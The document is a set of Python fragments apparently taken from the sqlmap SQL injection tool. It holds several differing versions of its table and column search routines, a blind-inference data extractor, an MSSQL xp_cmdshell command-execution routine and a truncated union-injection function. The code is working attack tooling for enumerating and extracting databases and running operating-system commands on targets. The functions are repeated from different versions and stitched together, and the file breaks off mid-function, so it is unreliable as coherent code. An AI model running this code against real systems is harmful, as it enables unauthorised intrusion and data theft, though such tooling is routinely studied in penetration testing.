if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
query = query % (tblQuery + whereDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
newValues = []
if isinstance(values, basestring):
values = [values]
for value in values:
dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value])
values = newValues
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [foundTbl]
if not values and isInferenceAvailable() and not conf.direct:
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
if len(whereDbsQuery) == 0:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query = query % (tblQuery + whereDbsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (tblQuery + whereDbsQuery)
query = agent.limitQuery(index, query)
foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
foundDb = safeSQLIdentificatorNaming(foundDb)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
else:
for db in conf.db.split(","):
db = safeSQLIdentificatorNaming(db)
if db not in foundTbls:
foundTbls[db] = []
else:
dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % tblQuery
else:
query += " AND %s" % tblQuery
if Backend.isDbms(DBMS.FIREBIRD):
query = safeStringFormat(query, index)
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
if not Backend.isDbms(DBMS.FIREBIRD):
query = agent.limitQuery(index, query)
foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(foundTbl):
kb.hintValue = foundTbl
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
for db in foundTbls.keys():
if isNoneValue(foundTbls[db]):
del foundTbls[db]
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def searchColumn(self):
rootQuery = queries[kb.dbms].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
colConsider, colCondParam = self.likeOrExact("column")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
dbs[db] = {}
for column in colList:
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
foundCols[column] = {}
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbs.keys():
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if kb.unionPosition is not None or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [ foundTbl ]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, inband=False)
kb.hintValue = tbl
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def __goInferenceProxy(expression, fromUser=False, expected=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output and (expected == None or
(expected == "int" and output.isdigit())):
return output
if kb.dbmsDetected:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(
expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression,
re.I)
if limitRegExp:
if kb.dbms in ("MySQL", "PostgreSQL"):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(
limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ("Oracle", "Microsoft SQL Server"):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ("MySQL", "PostgreSQL"):
stopLimit += startLimit
untilLimitChar = expression.index(
queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith(
"FROM DUAL"):
test = "n"
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[
kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(
expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit(
) and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not count or int(count) == 0) and (not stopLimit or
stopLimit == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression,
expressionFieldsList)
output = __goInferenceFields(limitedExpr,
expressionFields,
expressionFieldsList,
payload, expected)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith(
"SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields,
expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def searchColumn(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
colConsider, colCondParam = self.likeOrExact("column")
if conf.db is not None:
enumDbs = conf.db.split(",")
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
dbs[db] = {}
for column in colList:
column = safeSQLIdentificatorNaming(column)
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info(infoMsg)
foundCols[column] = {}
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbs.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True, bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [ foundTbl ]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchColumn(self):
rootQuery = queries[DBMS.MSSQL].search_column
foundCols = {}
dbs = {}
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(',')
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
tblCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
enumDbs = conf.db.split(',')
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
dbs[db] = {}
for column in colList:
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(',')
whereTblsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(tbl
for tbl in _))
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
_ = conf.db.split(',')
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(db for db in _))
elif conf.excludeSysDbs:
infoMsgDb = " not in system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in filter(None, dbs.keys()):
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
continue
if conf.exclude and db in conf.exclude.split(','):
continue
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(
unArrayizeValue(foundTbl), True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
dbs[db][foundTbl].update(
kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [foundTbl]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info("%s%s" % (infoMsg, infoMsgTbl))
query = rootQuery.blind.count
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
query = agent.limitQuery(index, query,
colCond.replace("[DB]", db))
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
dbs[db][tbl].update(
kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchColumn(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {"USERS": {}}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
column = safeSQLIdentificatorNaming(column)
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info(infoMsg)
foundCols[column] = {}
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbs.keys():
db = safeSQLIdentificatorNaming(db)
if isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(
foundTbl, True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][foundTbl].update(
kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [foundTbl]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query += " WHERE %s" % colQuery
count = inject.getValue(query,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query += " WHERE %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
foundTbls = {}
tblList = conf.tbl.split(",")
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
whereDbsQuery = ""
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
for db in _) + ")"
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(
" AND '%s' != %s" %
(unsafeSQLIdentificatorNaming(db), dbCond)
for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
logger.info(infoMsg2)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += whereDbsQuery
values = inject.getValue(query, blind=False, time=False)
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [foundTbl]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += whereDbsQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += whereDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, union=False, error=False)
foundDb = safeSQLIdentificatorNaming(foundDb)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(tbl), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query,
union=False,
error=False)
kb.hintValue = foundTbl
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10),
randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if conf.direct or any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR)):
output = inject.getValue(query, resumeValue=False, blind=False)
else:
output = []
count = inject.getValue("SELECT COUNT(*) FROM %s" %
self.cmdTblName,
resumeValue=False,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(
inject.getValue(query,
inband=False,
error=False,
resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not (output[0] or "").strip():
output = output[1:]
elif not (output[-1] or "").strip():
output = output[:-1]
output = "\n".join(line for line in filter(None, output))
return output
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
global reqCount
count = None
origExpr = expression
startLimit = 0
stopLimit = None
test = True
value = ""
reqCount = 0
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
origExpr)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop))) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
and not any(map(lambda x: x in expression.upper(), ["(CASE", "COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])):
limitRegExp = re.search(
queries[Backend.getIdentifiedDbms()].limitregexp.query, expression,
re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (Backend.getIdentifiedDbms()
in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[
Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[
Backend.getIdentifiedDbms()].limitgroupstop.query
